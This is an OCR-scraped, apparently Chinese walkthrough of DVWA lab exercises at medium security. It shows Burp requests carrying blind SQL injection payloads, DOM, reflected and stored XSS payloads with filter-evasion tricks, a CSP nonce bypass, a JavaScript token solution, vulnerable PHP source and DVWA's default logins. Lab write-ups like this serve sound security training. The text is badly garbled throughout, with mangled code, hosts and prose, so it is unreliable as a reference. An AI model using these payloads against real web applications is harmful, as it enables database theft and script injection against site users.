
id=1&Submit=Submit]
<h2>More Information</h2>

<ul>
<li»<a /

2.

Go Cancel < |* >|r Target: http://559f911d2aad4e9b%adeecifdb7cOb19.app.mituan.zone / @

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]

POST fvulnerabilities/sqli_blind/ HTTP/1.1 A <div class="body padded"> A
Host: 559f911d2aadde9b9adeec] fdb7cOb19.app.mituanzone F <h1>Vulnerability: SQL Injection (Blind)</h1> ™
Content-Length: 123
Cache-Control: max-age=0
Origin: http://559f911d2aad4e9bYadeec fdb7cOb19.app.mituanzone
Upgrade-Insecure-Requests: 1 <div class="vulnerable_code_area">
DNT: 1 <form action="#" method="POST">
Content-Type: application/x-www-form-urlencoded <p>
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Wine4; x64) Apple'WebKit/537.36 Ucer ID:
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 <select name="id"> <option
Accept: value="1">1</option> <option value="2">2</option><option
text/html,application/<html+xml,application/«ml:q=0.9,image/webp,image/apng,* value="3">3</option> <option value="4">4</option > <option
/*q=0.8,application/signed-exchange;v=b3;9=0.9 value="5">5</option> </select>
Referer: <input type="submit" name="Submit"
http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituanzone vulnerabilities /sqli value="Submit" >
_blind/ </p=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 </form>




dvwaSession FIME N LT HIR EIBRG 2, AR HXA

Username: admin
Security Level: medium
PHPIDS: disabled

Cookie: PHPSESSID =ivb38k95vncigeBove 14pp56h3; security=rmedium
Connection: close

id=1 and length((select table_name from information_schema.tables where
table_schema=database() limit 1,1)) =58&Submit=Submit

<pre>User ID exists in the database.</pre> N
</div>

<h2>More Information</h2>
<ul>
<li><a
href—"http M securiteam. com«securltyrevlews»’5DPON1 P76E.htmI" V]

T PN P N PR S TN Y PRV

Raw | Params | Headers | Hex

3.
Go Cancel < |v > Target: http://559f911d2aad4e9b%adeeci1fdb7cOb19.app.mituan.zone / ®
Request Response

Raw | Headers | Hex HTMLIRender]

POST fvulnerabilities/sqli_blind/ HTTP/1.1

Host: 559f911d2aad4e9b9adeec fdb7cOb19.app.mituanzone

Content-Length: 136

Cache-Control: max-age=0

Origin: http://559f911d2aaddeSb9adeec fdb7cOb19.app.mituanzone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: application/x-vwwww-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

Accept:
text/htmlapplication/=html+xml,application/«ml:q=0.9,image/webp,image/apng,*®
/%q=0.8,application/signed-exchangev=b3;9=0.9

Referer:

http:/ /559911 d2aad4e8b9adeecTfdb7c0b19.app.mituanzonevulnerabilities/sqli
_blind/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=ivb38k95vncigeBove14pp56b3; security=medium
Connection: close

id=1 and ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 1,1),1,1))=117 &Submit=Submit

Weak Session IDs

Vulnerability: Weak Session IDs
This page will set a new cookie called dvwaSession each time the button is clicked

Generata

A <div class="body padded"> A
E <h1>Vulnerability: SQL Injection (Blind)</h1> E
<div class="vulnerable_code_area">
<form action="#" method="POST">
<p>
Ucer 1D:
<select name="id"><option
value="1">1</option> <option value="2">2</option><option
value="3">3</option=> <option value="4">4</option=><option
value="5">5</option> </select>
<input type="submit" name="Submit"
value ="Submit" >
</p=
</form=
<pre>Ucer ID exicte in the databace. </pre> I
</div>
<h2>More Information</hZ >
<ul>
<li»<a
href—"http M securiteam. com«securltyrevlews»’5DPON1 P76E.htmI" V]
—EHH LR EERA.
security medium
PHPSESSID ivb38k95vncige8bv...
dvwaSession 16100183521

& Damn Vulnerable

Weak Session IDs Source

vulnerabilities/weak_id/source/medium.php

<?php

fhtnl = "7

if ($_SERVER [ REQUEST_METHOD'] == “POST") |
$cockie_walue = time();

setoookie ("dvwaisssion”, $ocookie_wvaluel :

O X

A A== | 559f911d2aad4e9b9adeecfdb7cOb19.app.mituan.zone/vulnerabilities/view source.php?id=weak... &

XSS(DOM)

111d2aad4e9b9adeecfdb7cOb19.app.mituan.zone/vulnerabilities/xss_d/?default=English




Vulnerability: DOM Based Cross Site Scripting (XSS)

Please choose a language:

i

English ¥ || Select |

|
| B Darmn Vulnerable Web Application (DVWA) v1.10 *Develepment*Source = Damn Vulnerable Web Application... — O =
A FZ=2% | 559f911d2aad4e9b%adeec] fdb7c0b19.app.mituan.zone/vulnerabilities/view source.php?id=xss d... Eg

1
___ Unknown Vulnerability Source

vulnerabilities/xss_d/source/medium.php

<?php

Jf Is there any input?
if [ array key exists( “default”, §_GET ) && !iz null (3 _GET[ “default™ 1) ) 1
fdefault = $_GET[ default’];

Bl BERENESEN

e B N T S = Tt 0 I TS criot oo
if  (stripos (fdefault, “<script’) == falsel |
header ("location: %Pdefault=English”);
exit
1
1
T
| Compare All Levels |

BHEFGRKIN, ARFREMA, BT UAE MR B A% .

hl:Wulnerability: DOM Based Cross Site Scripting (XSS)</hl:
vodiv class="vulnerable_code_area
p>Please choose a language:</p>
¥ oform name="X55" method="GET
1 select name="default

P ooCriDT rentd SCLLIDT S
I<cptin1 value="Englizh%3Ca%2@src=%27javascript:alert(6)%27%3E" *English</option: F= b4
option value disabled="disabled">----</option:

option value="English”>English</option:
option value="French">»French</option:
option value="Spanish”>Spanish</option:
option value="German":>German</option:

/select
input type="submit" value="Select
/form>
Jdiv
h2>More Information</h2:
P iul>a<ful

Jdiv

D

HREEFFEMNRY, KV F7EJecodeURIE $.

= C A Tz | view-source:559f911d2aad4e9b%deec1fdb7c0b19.app.mituan.zone/vulnerabilities/xss_d/?default=English</option=>
ful><ul class="memuBlocks”><1li class=""3<a href="../../logout. php” *Logout</a></1i>
et <fdive

<f divy

<div 1d="main bodv">

<div clazs="body_padded”>
<hl*Vulnerability: DOM Based Cross Site Scripting (¥S55)</hi>

{div clazs="+vulnerable code_area”>

‘n3Plaase rhanza a lanonaca: <in®



Lps A AL Lasuon s . wg pee

{form name="X33" method="GET">
<zelect name="default”>

{zcript>

if (document. location. href. indexOf (“default=") »= 0} {

wvar lang = document. location. href. substring (docupen
document. write(“<{option walue="" + lang + "’ »" +

href. indexOf (“default=")+8) ;

decodeURI(lang) + “<foption>®);

document. write (" <option walue="" disabled="disabled >———<joption>”};

}

document.
document.
document.
document.

<fzoriptr
<fzelecty

write("<option wvalue="BHglish’ *English</option:") ;
write("<option wvalue="French’ *French</option>”) ;
write("<option wvalue="Spanish’ »*Spanish</option:") ;
write("<option value="German’ German</option®”);

<input type="submit” walue="Select” />

® http://559f911d2aad4e9b9adeeclfdb7cObl9.app.mituan.zone/vulnerabilities/xss_d/?default=English</option>
</select><img src=# onerror=alert('#RI#EH.')> (&)

® http://559f911d2aad4e9b9adeeclfdb7cObl9.app.mituan.zone/vulnerabilities/xss_d/?default=English&script=

<script>alert(1)</script> (%)

® http://559f911d2aad4e9b9adeeclfdb7cObl9.app.mituan.zone/vulnerabilities/xss_d/?default=English#

<script>alert(1)</script> CHi)

A FZ=e | 5591911d2aad4e9b%adeecfdb7cOb19.app.mituan.zone/vulnerabilities/xss d/?defauli=English</o... ~ B fr wus |

..911d2aad4e9b%adeecifdb7c0b19.app.mituan.zone B
TR

| Vu cripting (XSS)

Home -
Instructions |
Setup / Reset DB | Please choose a language:
English *
Brute Force
English
Command Injection F;igw
CSRE Spanish
Gearman
File Inclusion Select
File Upload
Insecure CAPTCHA
SAL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (Reflected)

RV U Y

XSS(Reflected)

|
|
|
|
|
| More Information
|
|
|
I
|



vulnerabilities/xss_r/source/medium.php

<Tphp
header (“¥-N533-Frotection: 07):

ff Iz there any input?

if{ array kev_exists( “name”, $. GET ) && $ GET[ "name’ ] != NILL ) |
fi Get  jpput
fname = |str_replace( "<script:’, 77, F$_GET[ "name’ ] );I

ff Feedback for end user
echo “<prerHelloc §{name}<Spre>”;

BERBERT R NERENE S .

® <scr<script>ipt>alert('FF#EMNLL" )</script>

® <sCripTralert('¥H#EN 2" )</script>

1.

[

A F== | 559f911d2aad4e9b%adeecfdb7cOb19.app.mituan.zone/vulnerabilities/xss_r/?name=<scr<script>ipt>... « ¥ s l‘é\,

...911d2aad4e9b9%adeec1fdb7c0b19.app.mituan.zone 7=

EEEEL

2.

A F==% | 559f911d2aad4edb%adeect fdb7c0b19.app.mituan.zone/vulnerabilities/xss_r/?name=<sCripT>alert%2... ~ ¥ s l‘é‘,

...911d2aad4e9b9%adeec1fdb7c0b19.app.mituan.zone &

EE2

XSS(Stored)



if( dsgzet( $_POST[ “btnSign” 1 ) 7 |
Ff Get  input

fmeszage = trim( §$_POST[ “mtxMessage’ 1 I

fname = trim{ §$ POST[ “txtName ]

Ff 0 Sanitize message  input

fmessage = strip_tags( addslashes( Imeszage | I

fmesszage = ((izset ($GLOBALS[" _ mysqli_ston”]) %k iz_object ($GLOBALS[Y _ mysqli_ston”])) 7 mysqli_real escape_stri

[MySQLCEWE;;Q;Igg] Fiz the mweol escape ;;;mggi call!l Thiz code does not work.”, E_USER_ERROR)) 7 *° . “"));
fmesszaze = htmlspecialchars( $messase )

S/ Sanitize name input
fname = =str_replace( ~<scriptr’, 7. Jname J:

Tame = LLlSSeT GeLUBRLST . my=all srom 17wk 1s_object (FGLOBALS[”
[My3ilConverterToo]l Fix the mysgl_escape_string() call! This

_omysqli_ston®])) 7 mysqli_real escape_stringi
code does not work.”. E_USEE_ERROR)) 7 ** . “")i;

ff Update database

fquery = “INSERT INTO guesthook ( comment, name J}  VALUES " fmeszage’, " Jname™ ;7

fresult = my=zqli_query (JGLOBALS["___my=gli_ston”], fquery 1 or dief “<prer’ . ((iz_object (GLOBALS["___my=qli_

fimyzql_cloze ()

BEEFEM R I MessageH L8 3, FrLAsillidnamell, RILKEHBRS], A HE a7 iR g FR i .

FANEGU S/ TIEGU

Vulnerability: Stored Cross Site Scripting (XSS) B S

="container”>

id="header" >.</div

» id="main_menu">.</div
Name *  |<script=al L7
v main_body
Message v<div class="body_padded
* h1>Wulnerability: Stored Cross Site Scripting (XSS)</hl>
| ¥<div class="vulnerable code_ area
Sign Guestbook || Clear Guestbook v <form method="post” name="guestform” "
h o g ¥ <table width="558" border="8" cellpadding="2" cellspacing="1">
¥ <tbody
w<tr
Seidshanl " s
More Information v
input name="txtName" type="text" size="188" maxlength="188
. /td
. P
. P otroec/tr
. P ctroec/tr
° /thody>
ftable>
/form
Fdiv

h2>More Information</h2>
P cul>.</ul
fdiv
Jdiv
div class="clear
IEEIN



e <script>alert( ' ®KFI#EHL3" )</script>
e <scr<script>ipt>alert (' #kHI#ML4" )</script>

¥ <head>..</head>
agm - . . ¥ <body class="home">
Vulnerability: Stored Cross Site Scripting (XSS) v<div id-"container"s
b <div id="header”r.</div>
. b <div id="main_menu">.</div>
Name | | v<giv id="main_body">

¥«div class="body_padded”>
Message * <hl>Vulnerability: Stored Cross Site Scripting (X55)
£ P <div class="vulnerable_code_area"».</div>
Sign Guestbook || Clear Guestbook ore
. ¥<div id-"guestbook_comments"> == §8
| <scriptralert( JFEERN 3 )</ scripts
Name: e e
o "Message: i 3"
Message: #EEEH3 o ge: WEEREHL
Name: 4/(.11\,? . B
Message: TAEFENAT A ¥<div id="guestbook_comments”>
. .
N <scriptralert(iHFEIN4 " ) </ script
More Information -
X ) i o "Message: JHEEOH,4"
= https:/iwww.owasp.org/index.php/Cross site_Scripting_(XSS) <br>
. vww.owasp.orglindex.php/XSS_Filter_Fvasion_Cheat_Sheet <rdivs
. n.wikipedia.org/wiki/Cross-site_scripting
. www.cgisecurity.com/xss-fag.html <or>
= http:/fwww.scriptalert1.com/ <h2>More Information</h2>
¥ <ulrm</uly
</divy
<br>
<br>
<fdivr
<div class="clear">

</divy

CSP Bypass



<?php

fheaderCSP = “Content-Security-Policy: script—sre " =zelf’ “unsafe—inline’ | nonce—TmV2IXIzT29pbmosdc8eIlclfZSBEbIUzdNA="]"

header ($headerCSP)

/f Dizable X535 protections =0 that inline alert hboxes will work
header ("M-X35-Protection: 07):

# <zcript nonce="TnV2IXIgIZ9pbmegdGoeZ2l2ISBEb3Usdia=">alert (1)< script>

T
<?php
if  {isget ($_POST[ include 133
fpagel “body” 1 .=
"o B POST[ include’™] . 7
1
fpagel “hody” 1 .=
<form name="csp” method="POST":
{prWhatewver wou enter here getz dropped directly into the page. =ee if wou can zet an alert

box  to o pc

<ok
WRARIE O N ARRISIEN, (HRENFENBISHIIT. 7TLMEMAnonce/@t. CSP Header&i& Bl —AMBEHLERFER ([ EF

RSB , 4T SscripthFEinonce B HEARILALRT, LA B BRINS R 22401, RATLIATH .
HiN: <script nonce=TmV2ZXIgZ29pbmcgdG8gz212ZSB5b3UgdXA=>alert (' #EIEENL" )</script>

: | 559f911d2aad4e9b%adeec] fdb7c0b19.app.mituan.zone/vulnerabilities/csp/

..911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone B

EEEE

JavaScript Attacks



#i A\ successi 7~ token Xt o

Vulnerability: JavaScript Attacks

Home |
Instructions |
Setup / Reset DB | Submit the word "success” to win.
Invalid token.
Brute Force Phrase |ChangeMe Submit
Command Injection

CSRF )
More Information

File Inclusion
File Upload
Insecure CAPTCHA

SQAL Injection (Blind)

Weak Session IDs

XS5 (DOM)
XS5 (Reflected)
XSS (Stored)
CSP Bypass

|
|
|
|
|
|
SQL Injection | Maodule developed by
|
|
|
|
|
|
|

BE RS, TFKtoken,

function do_sometl;.ing(e) {
for (var £t ="", n=celength—1: o >=0; n—) t += 2[xnl:
retwn t

setTimeout (function ) {
do_elzesomething("¥%")
1. s00d;

function do_elsesomething(e)”{ . . . e
document. getElementByld(“token”). value = do_zomethingle + dooument. zetElementById( phraze”). value + XK}

SN success , #RJEFEconsole AT do_elsesomething("XX") , WG MR .

[w ﬂ Elements Console  Sources MNetwork
M ® | top ¥ | @ | Filter
> document.getElementById("token").value

" XeMegnahCXxX"

Vulnerability: JavaScript Attacks AP o Smenesnine ()

» document.getElementById("token").value

- C - c "AXsseccusi}"
Submit the word "success” to win N
Invalid token

Phrase |success Submit

More Information

Module developed by

HBEEHL



P58 2 J5 B B S #E L

REEEES

DVWA
Damn Vulnerable Web Application (DVWA)

EFTHAT R login BEEZRE /setup.php. TEEIFEE s create/reset database” EEFIEE, FoF login (EEEIEFE. FE#IFE ogin.php.
EREEFS (EEE—)

& admin  pablo gordonb 1337 smithy
=4S password letmein abc123  charley password

EFHEE http/iwww.dvwa.co.uk/

EHATETURSER] ©
el ER
BULS EEiET ——— —

0 === =ReEiEinE)

2%
=t e


https://www.zhihu.com/column/manok
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